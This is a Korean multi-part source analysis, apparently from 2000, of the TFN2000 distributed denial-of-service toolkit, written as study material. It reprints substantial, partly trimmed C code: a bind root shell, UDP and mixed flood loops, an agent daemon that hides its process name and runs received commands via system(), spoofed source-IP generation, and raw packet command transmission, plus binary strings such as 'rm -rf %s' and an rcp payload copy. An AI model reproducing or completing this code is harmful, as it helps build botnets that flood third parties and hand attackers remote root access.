[2000년 자료] TFN2000 의 tfn.c 분석 (5) process.c 분석

다음으로 확인할 process.c는 셸 서버 스레드 관리자라고 생각하자. 여기에는
구체적인 공격을 명령하는 함수들이 등장한다. 즉, td.c에서 만날 수 있었던 함수
들이다.

/*bind로 루트셸을 빼앗을 경우 사용되는 함수.*/
void
shellsex (int port)
{
setuid (0);
setgid (0);
#ifndef WINDOZE
setreuid (0, 0);
setregid (0, 0);
#endif
s1 = socket (AF_INET, SOCK_STREAM, TCP);
bzero ((char *) &s_a, sizeof (s_a));
s_a.fam = AF_INET;
s_a.add = htonl (INADDR_ANY);
s_a.dp = htons (port);
/*bind는 소켓에 주소를 할당하기 위해 사용되는 것으로 sys/socket.h에 정의되어
있다. int bind (int socket, struct sockaddr *addr, size_t length) 와 같이
사용한다. bind함수는 “socket”소켓에 주소를 지정한다. addr과 length인수는
주소를 구체화한다. 자세한 주소포맷은 이름공간에 의존한다. 주소의 첫 번째
부분은 항상 포맷지정자이다. 포맷지정자는 이름공간을 명시하고, 그 주소가 그
이름공간의 포맷의 주소임을 말한다. 성공하면 0을 리턴하고, 실패하면 -1을 리턴
한다. */
if (bind (s1, (struct sockaddr *) &s_a, sizeof (s_a)) < 0)
exit (0);
if (listen (s1, 1) < 0)
exit (0);
/*listen 함수는 외부로부터 접속이 들어오는 것을 대기하는 함수. 사용은
listen(소켓 기술자, 접속 대기되는 최대 연결 가능한 수)와 같은 꼴로 한다.*/
while (1)
{
s3 = sizeof (c_a);
s2 = accept (s1, (struct sockaddr *) &c_a, &s3);
/*accept는 접속 들어온 것을 연결한다.
accept(소켓 기술자, 접속 정보 포인터, 로컬 정수변수)와 같이 사용된다.*/
dup2 (s2, 0);
dup2 (s2, 1);
dup2 (s2, 2);
#ifndef WINDOZE
if (execlp (“sh”, “sh”, (char *) 0) < 0)
execlp (“ksh”, “ksh”, (char *) 0); /* yech, no sh */
#else
if (execlp (“command.exe”, “command.exe”, (char *) 0) < 0)
execlp (“cmd.exe”, “cmd.exe”, (char *) 0); /* yech, windoze neanderthal technology */
#endif
close (s2);
return;
}
}

/*udp 공격을 명령하는 함수. 다른 것들도 같은 방식이므로 다른 것은 생략*/
void
commence_udp (char *ip)
{
if ((parse = strtok (ip, DELIMITER)) == NULL) /*한 글자씩 토큰한다*/
{
fw00ding = 0;
return;
}
while ((parse != NULL) && (i++ < CHLD_MAX))
/*ip의 길이 혹은 CHLD_MAX 중 큰 쪽의 크기만큼 루프*/
{
resolved = resolve (parse);
p = fork ();
if (!p)
{
rawsock = socket (AF_INET, SOCK_RAW, RAW);
setsockopt (rawsock, IP, IP_HDRINCL, “1”, sizeof (“1”));
if (resolved == -1)
exit (0);
while (1)
udp (resolved);/*flood.c 참조*/
}

/*이 부분에서는 원래 공격 로그를 남긴다. 생략.*/
pid[i] = p;
parse = strtok (NULL, DELIMITER);
}

}

void
commence_syn (char *ip, int port)
{
/*syn 공격 지시*/
}

void
commence_icmp (char *ip)
{
/*icmp 공격 지시*/
}

void
commence_mix (char *ip)
{
/*혼합 공격 지시. 다른 부분은 대개 비슷하나 끝부분에 이런 것이 붙는다.*/
while (1)
{
icmp (resolved, 0);
syn (resolved, 0);
udp (resolved);
}
}
void
commence_smurf (char *ip)
{
/*smurf 공격 지시*/
}

void
commence_targa3 (char *ip)
{
/*targa 공격 지시*/
}

void
must_kill_all (void) /*모든 플러드 밑 자식 플러드까지 소멸시킨다.*/
{
int i;

for (i = 0; i <= CHLD_MAX – 1; i++)
{
#ifdef ATTACKLOG
char tmp[100];
if (pid[i] < 2)
break;   /* killing -1 or 0 != fun 🙂 */
sprintf (tmp, “Killing flood pid (#%d): %dn”, i, pid[i]);
dbug (tmp);
kill (pid[i], 9);
#else
if (pid[i] < 2)
break;   /* killing -1 or 0 != fun 🙂 */
kill (pid[i], 9); /*기본적으로 알고들 있는 kill을 사용한다. 뒤의 9는
확실히 죽이라는 뜻의 옵션임!*/
#endif
}
}

TFN에 관한 설명: http://cert.certcc.or.kr/paper/ 내용 일부 인용
소스 : Mixter의 홈페이지. 분석 : 전혜진 @ Mod777

[2000년 자료] TFN2000 의 tfn.c 분석 (4) tribe.c 분석

다음으로 확인할 것은 tribe.c이다.
전작에서는 이것이 서버에 설치되는 프로그램이었다는 것 같은데, 2000에서는
기본적인 함수들을 포함하는 파일로 남았다. 이것은 tfn, td의 실행시 필요한
함수들을 포함한다. 물론 여기에서는 설정에 관한 부분은 제외하고 실제 작동하는
부분을 보인다.

/*random_init 이 함수는 랜덤하게 숫자를 생성한다. 같은 파일 안에 있는 getrandom
함수의 안에서 난수 발생의 역할을 맡고 있다.*/
void
random_init (void)
{
int rfd = open (“/dev/urandom”, O_RDONLY);
if (rfd < 0)
rfd = open (“/dev/random”, O_RDONLY);
rcounter = read (rfd, rseed, 65535);
close (rfd);
}

/*getrandom 이 함수는 발생될 난수의 범위를 구하여 그 안에서 임의의 수를 추출해
낸다. */
inline
long
getrandom (int min, int max)
{
if (rcounter < 2)
random_init ();
srand (rseed[rcounter] + (rseed[rcounter – 1] << 8));
rcounter -= 2;
return ((random () % (int) (((max) + 1) – (min))) + (min));
}

/*trimbuf 이 함수는 문자열을 배열로 받아 문자열의 실제 길이만큼의 배열로 바꾸어
준다.*/
void
trimbuf (char *buf)
{
int i = 0;
for (i = 0; i < strlen (buf); i++)
if ((buf[i] == ‘n’) || (buf[i] == ‘r’))
buf[i] = ”;
}

/*k00lip 이 함수는 소위 랜덤하게 ip 주소를 생성해 내는 함수로 보면 딱 맞는다.*/
inline unsigned long
k00lip (void)
{
int a, b, c, d;
if (nospoof < 1)
return (unsigned long) (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
hax0r.s_addr = htonl (myip);
sscanf (inet_ntoa (hax0r), “%d.%d.%d.%d”, &a, &b, &c, &d);
if (nospoof < 2)
b = getrandom (1, 254);
if (nospoof < 3)
c = getrandom (1, 254);
d = getrandom (1, 254);
sprintf (convi, “%d.%d.%d.%d”, a, b, c, d);
return inet_addr (convi);
}

/*tfntransmit 이 함수는 tfn.c에서 tfn_send 함수의 일부로 쓰인 것으로, 서버에서
각각의 에이전트들로 공격할 타겟과 방식을 전달하는 역할을 한다.*/
void
tfntransmit (unsigned long from, unsigned long to, int proto, char id, char *target)
{
sin.fam = AF_INET;
/*이것은 인터넷 이름공간에 맞는 주소포맷이다. 앞이 sin.으로 되어 있는 것들은
대개 인터넷 소켓 주소의 포맷이다.*/
sin.add = to;
memset (buf, 0, BS);

/*이것은 각각 헤더에 들어갈 내용이다. 헤더의 구조대로 구조체가 만들어져 있고,
공격을 위해 보내어질 패킷에 여기 지정된 값들이 들어가는 헤더가 붙어서 가게
된다.*/
ih->ver = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->tl = 0;
ih->id = htons (getrandom (1024, 65535));
ih->off = 0;
ih->ttl = getrandom (200, 255);
ih->sum = 0;
ih->src = from;
ih->dst = to;

switch ((proto == -1) ? getrandom (0, 2) : proto)
/*proto가 -1이면 0,1,2 중 삼자 택일을 하는 것이고 그렇지 않으면 proto의 값을
그대로 받는다.*/
{
case 0: /*icmp*/
tot_len += sizeof (struct icmp);
ih->pro = ICMP;
ssock = socket (AF_INET, SOCK_RAW, ICMP);
p = buf + sizeof (struct ip) + sizeof (struct icmp);
ich->type = 0;
ich->code = 0;
ich->id = getrandom (0, 1) ? getrandom (0, 65535) : 0;
ich->seq = getrandom (0, 1) ? getrandom (0, 65535) : 0;
ich->sum = 0;
encode64 (data, p, strlen (data));
tot_len += strlen (p);
ich->sum = cksum ((u16 *) ich, tot_len >> 1);
ih->tl = tot_len;
sin.dp = htons (0);
/*순서 바꾸기. 호스트에서 통용되는 구조를 호환성을 위해 네트워크에서
통용되는 구조로 바꾼다.*/
break;
case 1: /*udp*/
/*똑같은 내용이므로 생략*/
case 2: /*tcp*/
/*똑같은 내용이므로 생략*/
default: /*아무 것도 아니면 중지*/
exit (0);
break;
}
/*여기까지 보낼 것을 가공*/
setsockopt (ssock, IP, IP_HDRINCL, “1”, sizeof (“1”));
if (sendto (ssock, buf, tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
perror (“sendto”);
/*에이전트에 명령을 보내는 것을 실패할 경우 에러 이유를 출력한다.*/
/*접속 종료*/
close (ssock);
}

/*공격한 기록을 남기는 함수*/
#ifdef ATTACKLOG
void
dbug (char *s)
{
int f = open (ATTACKLOG, O_WRONLY | O_APPEND | O_CREAT);
write (f, s, strlen (s));
close (f);
}
#endif

TFN에 관한 설명: http://cert.certcc.or.kr/paper/ 내용 일부 인용
소스 : Mixter의 홈페이지. 분석 : 전혜진 @ Mod777

[2000년 자료] TFN2000 의 tfn.c 분석 (3) td.c 분석

다음으로 살펴볼 것은 td.c 파일이다.
이 td.c 프로그램은 공격의 매개가 되는 클라이언트 개념의 각각의 컴퓨터에서
실행되어 tfn.c의 명령을 넘겨받아 실질적으로 공격을 개시한다. 이 프로그램은
tribe_cmd 라는 함수를 포함한다. 이 함수가 process.c의 여러 함수들을 불러
실질적인 공격을 실행한다.

int
main (int argc, char **argv)
{
int isock, tsock, usock, i; /*소켓들.*/

isock = socket (AF_INET, SOCK_RAW, ICMP);
tsock = socket (AF_INET, SOCK_RAW, TCP);
usock = socket (AF_INET, SOCK_RAW, UDP);
/*AF_INET는 인터넷 이름 공간에 맞는 주소 포맷이, SOCK_RAW에는 저수준의 네트워크
프로토콜과 인터페이스 억세스가 들어간다.  소켓에 관한 것은 sys/socket.h로
주어져 있으며, 형식은 socket(int namespace, int style, int protocol)이다.*/

/*또한 여기서 구조체가 하나 등장하는데, tribe.h에 선언되어 있는 tribe 라는 것이
그것이다. 이것은 캐릭터형인 start, id, end로 구성된다. 이것을 tribeh로 다시
받아준다.*/

memset (argv[0], 0, strlen (argv[0]));
/*memset은 문자 값을 이용하여 지정된 메모리 위치를 채우는 함수이다. */
strcpy (argv[0], HIDEME);
close (0);
close (1);
close (2);
#ifndef WINDOZE
if (fork ())
exit (0);
#else
switch (fork ())
{
case -1:
perror (“fork”);
/* perror 함수는 프로그램의 문제를 이해하는 것을 돕기 위해 사용되며, 마지막으로
일어난 시스템 에러에 관한 자세한 설명을 도출한다. 프로세스를 복제하는 것에
실패하면 그 이유를 화면에 뿌려 준다.*/
exit (0);
break;
case 0:
break;
default:
break;
}
#endif

signal (SIGHUP, SIG_IGN);
signal (SIGTERM, SIG_IGN);
signal (SIGCHLD, SIG_IGN);

/*여기까지 공격 대상에 대한 접속 준비를 끝마쳤다.*/

while (1) /*다들 알고 있는 무한 루프로 공격(마르고 닳도록) */
{
FD_ZERO (&rfds);
FD_SET (isock, &rfds);
FD_SET (usock, &rfds);
FD_SET (tsock, &rfds);
if (select (usock + 1, &rfds, NULL, NULL, NULL) < 1)
continue;
if (FD_ISSET (isock, &rfds))
{
/*icmp로 공격하기 위한 준비 과정이다.*/
i = read (isock, buf, BS) – (sizeof (struct ip) + sizeof (struct icmp));
/*buf 는 앞에서 선언되는 배열. BS는 배열의 크기이다. tribe.h안에 기본
크기 4096 으로 지정되어 있다.*/
myip = htonl (iph->dst);
if (i < 4)
continue;
p = (buf + sizeof (struct ip) + sizeof (struct icmp));
if (!isprint (p[0]))
continue;
memset (clear, 0, BS);
security_through_obscurity (1);
decode64 (p, clear, i);
memset (buf, 0, BS);
security_through_obscurity (0);
if ((tribeh->start == PROTO_SEP) && (tribeh->end == PROTO_SEP))
tribe_cmd (tribeh->id, data, argv);
/*실질적인 공격을 수행. 자세한 것은 뒤에. 아까의 tribeh 라는 구조체에서
id 값 즉 공격 방식만 받아서 쓴다. */
}
if (FD_ISSET (tsock, &rfds))
{
/*비슷한 과정이므로 생략*/
}
if (FD_ISSET (usock, &rfds))
{
/*비슷한 과정이므로 생략*/
}
}
/* 1 != 1 */
return (0);
}

void
tribe_cmd (char id, char *target, char **argp)
{
#ifdef ATTACKLOG
{
char tmp[BS];
sprintf (tmp, “PID %d CMD ‘%c’ TARGET %sn”
,getpid (), id, target);
dbug (tmp);
}
#endif
/*공격 방법에 따른 함수들을 불러 온다. 여기서는 process.c의 함수들을 불러
오게 된다. 이루어 지는 방식이 같으므로 ID_ICMP의 경우만 두고 나머지는
생략하겠다.*/
switch (id)
{
case ID_ICMP: /*icmp로 공격할 경우*/
if (fw00ding)  /* already in progress, ignored */
break;
fw00ding = 3;  /* commencing ICMP/8 flood */
strcpy (argp[0], HIDEKIDS);
commence_icmp (target);
strcpy (argp[0], HIDEME);
break;
case ID_SMURF: /*스머프 공격할 경우*/
case ID_SENDUDP: /*udp 포트로 패킷을 보낼 때*/
case ID_SENDSYN: /*syn 공격을 할 경우*/
case ID_STOPIT: /*공격을 중단한다.*/
if (!fw00ding)  /* 더 이상 의미가 없어진다. */
break;
must_kill_all ();  /* 자식 플러드까지 모두 소멸시킨다. */
usleep (100);
fw00ding = 0;
break;
case ID_SYNPORT: /*syn 공격할 포트를 지정*/
port4syn = atoi (target); /* syn port set */
break;
case ID_PSIZE: /*패킷 사이즈를 정한다.*/
psize = atoi (target); /* new packet size */
break;
case ID_SWITCH: /*숫자로 변환된 타겟으로 스푸프할 주소의 마스크를 확인.*/
switch (atoi (target))
{
case 0:
nospoof = 0;  /* spoof mask: *.*.*.* */
break;
case 1:
nospoof = 1;  /* spoof mask: real.*.*.* */
break;
case 2:
nospoof = 2;  /* spoof mask: real.real.*.* */
break;
case 3:
nospoof = 3;  /* spoof mask: real.real.real.* */
break;
default:
break;
}
break;
case ID_SHELL: /*bind로 루트셸을 빼앗을 경우.*/
shellsex (atoi (target)); /*process.c 안에 있는 함수*/
break;
case ID_TARGA: /*targa 공격을 한다.*/
case ID_MIX: /*혼합 공격시.*/
case ID_REXEC: /*원격 셸의 명령을 수행할 때.*/
system (target);
break;
default: /*특별한 게 들어오지 않으면 프로그램 수행을 정지한다.*/
break;
}
}

TFN에 관한 설명: http://cert.certcc.or.kr/paper/ 내용 일부 인용
소스 : Mixter의 홈페이지. 분석 : 전혜진 @ Mod777

[2000년 자료] TFN2000 의 tfn.c 분석 (2) tfn.c 분석

먼저 분석하는 것은 공격자의 컴퓨터에서 실행되는 tfn.c 파일이다. 물론
프로그램의 흐름에 관한 부분만을 유지하고 상당한 부분들을 삭제하였으므로 그대로
사용할 수는 없을 것이다. ^^ 이 프로그램은 공격자의 컴퓨터, 즉 공격 서버에 위치하여
공격의 매개가 되는 컴퓨터들을 제어한다. (서버 프로그램)이 파일에는 main, passchk,
tfn_sendto, usage 함수가 들어 있다.

#include “tribe.h”  /*이것은 이 프로그램의 헤더 파일이다. */
#define RETRY 20
/*공격 재시도 횟수….. 정도로 생각하면 된다. tfn_sendto() 함수에서 사용된다. */

/*생략된 부분에는 기타 함수들과 변수들이 선언되어 있다.*/

#ifdef REQUIRE_PASS /*컴파일시 이 옵션을 주었다면 실행시 패스워드를 체크한다.*/
void passchk (void);
#endif

#ifdef WINDOZE
extern char *optarg;
int getopt (int, char *const *, const char *);
#endif

int main (int argc, char **argv)
{

while ((opt = getopt (argc, argv, “P:D:S:f:h:i:p:c:”)) != EOF)
/*각종 옵션들을 주었는데, 이 옵션들을 일일히 다 확인할 동안 루프가 돈다.*/
switch (opt)
{
case ‘P’:
/* 공격 방식으로서의 icmp, udp, tcp의 프로토콜을 0,1,2의 숫자로 결정한다.
이 옵션이 없으면 랜덤으로 들어간다. */
if (strcasecmp (optarg, “icmp”) == 0)
proto = 0;
if (strcasecmp (optarg, “udp”) == 0)
proto = 1;
if (strcasecmp (optarg, “tcp”) == 0)
proto = 2;
break;
case ‘D’:
/*유혹용 타겟에 대응하는 진짜의 것에 거짓된 요청을 보낸다.*/
/*여기서 atoi 함수는 str이 지정하는 문자열을 정수형으로 변환한다.*/
decoy = atoi (optarg);
break;
case ‘S’:
/*자신의 ip 주소를 myip 라는 변수로 받는다. */
myip = resolve (optarg);
break;
case ‘f’:
/*접속할 컴퓨터들, 즉 공격의 매개가 되는 에이전트들의 리스트를 포함하는
파일의 이름을 표준 입력으로 받는다. */
if ((tfnlist = fopen (optarg, “r”)) == NULL)
{
printf (“Unable to open file: %sn”, optarg);
usage (argv[0]);
}
break;
case ‘h’:
/*접속할 에이전트들의 이름을 직접 입력하는 모드. 파일을 사용하지 않을 경우
사용하는 옵션. */
tfnhost = resolve (optarg);
break;
case ‘i’:
/*에이전트들의 이름을 나누어 @와 같은 것으로 구분하여 보여준다. */
target = malloc (BS);
strncpy (target, optarg, BS);
break;
case ‘p’:
/*따로 공격할 포트를 정할 때. */
port = malloc (BS);
strncpy (port, optarg, BS);
break;
case ‘c’:
/*숫자로 되어 있는 명령을 선택하여 직접적인 공격 방식을 정한다.*/
cid = atoi (optarg);
break;
default:
/*아무 것도 선택하지 않으면 경고 메시지가 뜬다.*/
usage (argv[0]);
break;
}

printf (“tProtocol      : “);
/*여기서 -P 에서 옵선 넣은 것들. 즉 프로토콜응 확인 차원에서 보여 준다.
생략 하였지만, 0에서는 icmp, 1에서는 udp, 2에서는 tcp 이다.
아무 것도 입력하지 않았으면 프로그램에서 랜덤하게 선택한다는 것이 출력된다.
다음으로는 유혹용 타겟이 출력된다. 이런 식으로 아까 입력 받은 것들을
하나씩 확인하는 과정이 포함된다. 분석에는 별 도움이 안 되어 생략. */

printf (“tCommand       : “);
/*여기서 보이는 부분은 아까의 -c 옵션에서의 선택 명령들이다. 간단히 소개한다.
물론 여기서도 어떤 명령을 선택하였는지 확인하는 과정이므로 소스를 생략한다.*/
switch (cid)
{
case 0: /*공격을 종료하는 명령.*/
case 1: /*스푸핑하는 레벨을 재조정한다. */
case 2: /*한 번에 보이는 패킷의 사이즈를 조정한다. */
case 3: /*포트를 통해 bind 루트셸을 빼앗아 온다. */
case 4: /*udp 플러드 공격을 한다. */
case 5: /*tcp/syn 공격을 한다. */
case 6: /*icmp/ping 공격을 한다. */
case 7: /*icmp/smurf 공격을 한다. */
case 8: /*뒤섞어서 공격한다.*/
case 9: /*tanga3 로 공격한다. 이것은 TFN을 만든 Mixter의 해킹 툴이다. */
case 10: /*원격으로 명령을 실행한다.*/
default:
/*에러를 출력한다. 명령을 받겠다는 옵션으로 명령이 들어오지 않았으므로 에러.*/
}

#ifdef REQUIRE_PASS
passchk (); /*컴파일시의 옵션에 따라 패스워드를 확인한다.*/
#endif

printf (“nSending out packets: “);
fflush (stdout);

security_through_obscurity (1);

/* tfn 리스트 파일이 따로 없으면 아까 -h의 옵션으로 받은 호스트로 연결한다.
리스트 파일이 있으면 파일을 읽어 각각으로 연결한다.*/
if (tfnlist == NULL)
tfn_sendto (tfnhost);
else /*파일이 있을 때*/
while (fgets (nexthost, 512, tfnlist) != NULL)
{
/*파일을 읽어 nexthost 배열에 저장한다. 이것을 넘긴다. */
trimbuf (nexthost);
tfnhost = resolve (nexthost);
/*에이전트들의 주소가 유효한 것인지를 확인한다. */
if (tfnhost)
/*에이전트들에게 공격 명령을 보낸다. 이 함수에 관해서는 뒤에 설명한다.*/
tfn_sendto (tfnhost);
}

printf (“n”);
return 0;
}

#ifdef REQUIRE_PASS
void
passchk (void)
{
/*패스워드를 체크하는 함수. 패스워드와 관련된 것은 aes.c, base64.c, cast.c,
mkpass.c 등의 함수이다. mkpass가 실행되면 새로 입력된 패스워드는 위의
파일들이 실행되어 암호화되어 파일에 저장되고, 이것이 실행시 입력되는
패스워드가 암호화 된 것과 비교되어 패스워드가 체크된다.*/
}
#endif

void
tfn_sendto (unsigned long dst)
/*각 에이전트들에게 공격 명령을 전달하는 함수. 목록 안의 에이전트들에게 어느
호스트를 어떤 식으로 공격할 것인지를 넘긴다. */
{
/*공격 명령을 반복하여 전달한다. 기본값은 20회이지만 변경할 수 있다.*/
for (i = 0; i < RETRY; i++)     {
if (cid == 5)/*tcp/syn 플러드 공격을 선택하였을 경우*/
{
strcpy (lport, port); /*공격할 포트를 lport라는 변수로 복사하여*/
tfntransmit (src, dst, proto, ID_SYNPORT, lport);
/*이 함수로 넘긴다. 이것에 관해서는 추후 설명. */
}
strcpy (ltarget, target); /*공격할 타겟을 ltarget으로 복사한다.*/
tfntransmit (src, dst, proto, RID, ltarget);
/*이 함수의 역할은 추후 설명. 에이전트들과의 통신을 하는 부분으로
생각하면 된다. */
if (decoy)
/*가짜 요청을 계속 보낸다.*/
for (j = 0; j < decoy; j++)
{
usleep (10);
strcpy (ltarget, target);
tfntransmit (src, k00lip (), proto, RID, ltarget);
}
}

fflush (stdout);
}

void
usage (char *arg)
{
/*이 함수는 위에서 설명한 사용 방법들을 화면에 출력해 준다.
이것은 프로그램 작동에 문제가 있었을 경우 흔히 볼 수 있는 것들과 같다.*/
}

TFN에 관한 설명: http://cert.certcc.or.kr/paper/ 내용 일부 인용
소스 : Mixter의 홈페이지. 분석 : 전혜진 @ Mod777

[2000년 자료] TFN2000 의 tfn.c 분석 (1) 개요

TFN은 네트웍 상의 다른 컴퓨터들을 이용하여 타겟을 양동 작전으로 유린하는 효과적
인 공격을 가능하게 하는 해킹 툴이다. 이전의 TFN의 기능을 좀 더 발전시킨 것이
TFN2k이며, 이번에 분석하는 것은 바로 이것이다.

TFN은 trinoo와 거의 유사한 분산 도구로 많은 소스에서 하나 혹은 여러개의 목표
시스템에 대해 서비스거부 공격을 수행한다. TFN은 UDP flood 공격을 할 수 있을뿐만
아니라 TCP SYN flood 공격, ICMP echo 요청 공격, ICMP 브로드캐스트 공격(smurf 공격)
을 할 수도 있다. TFN 서비스 거부공격은 공격자가 클라이언트(혹은 마스터) 프로그램이
공격명령을 일련의 TFN 서버들(혹은 데몬들)에게 보냄으로써 이루어진다. 그러면 데몬은
특정 형태의 서비스거부 공격을 하나 혹은 여러개의 목표 IP 주소를 대상으로 수행한다.
소스 IP 주소와 소스 포트는 임의로 주어지고, 패킷의 사이즈도 바꿀수 있다.

TFN 마스터는 명령어라인에서 TFN 데몬에 명령을 보낸다. TFN 마스터는 ID 필드와 패킷의
위치 인수를 가진 16비트 바이너리 값의 ICMP echo reply 패킷을 사용하여 데몬과 통신을
한다.

TFN 마스터는 공격자가 제공한 데몬들의 IP 주소목록이 필요하다. 최근에 보고된 일부
버전의 TFN 마스터는 이 IP 주소들을 숨기기 위해 암호를 사용하기도 한다. 또한 어떤
TFN은 rcp와 같은 원격파일복사 기능을 가지고 있어 자동으로 새로운 TFN 데몬을
생성하거나 기존의 TFN을 업데이트하는데 사용하고 있다.

td라는 파일이름으로 시스템에 설치되기도 하는데 strings라는 명령을 통해 TFN 데몬의
실행파일을 확인하면 다음과 같은 내용을 볼 수 있다.

# strings td
%d.%d.%d.%d
ICMP
Error sending syn packet.
tc: unknown host
3.3.3.3
mservers
randomsucks
skillz
rm -rf %s
ttymon
rcp %s@%s:sol.bin %s
nohup ./%s
X.X.X.X
X.X.X.X
lpsched
sicken
in.telne

개요는 대강 이 정도로 끝내고, 소스를 살펴보며 공부하도록 하자.

TFN에 관한 설명: http://cert.certcc.or.kr/paper/ 내용 일부 인용
소스 : Mixter의 홈페이지. 분석 : 전혜진 @ Mod777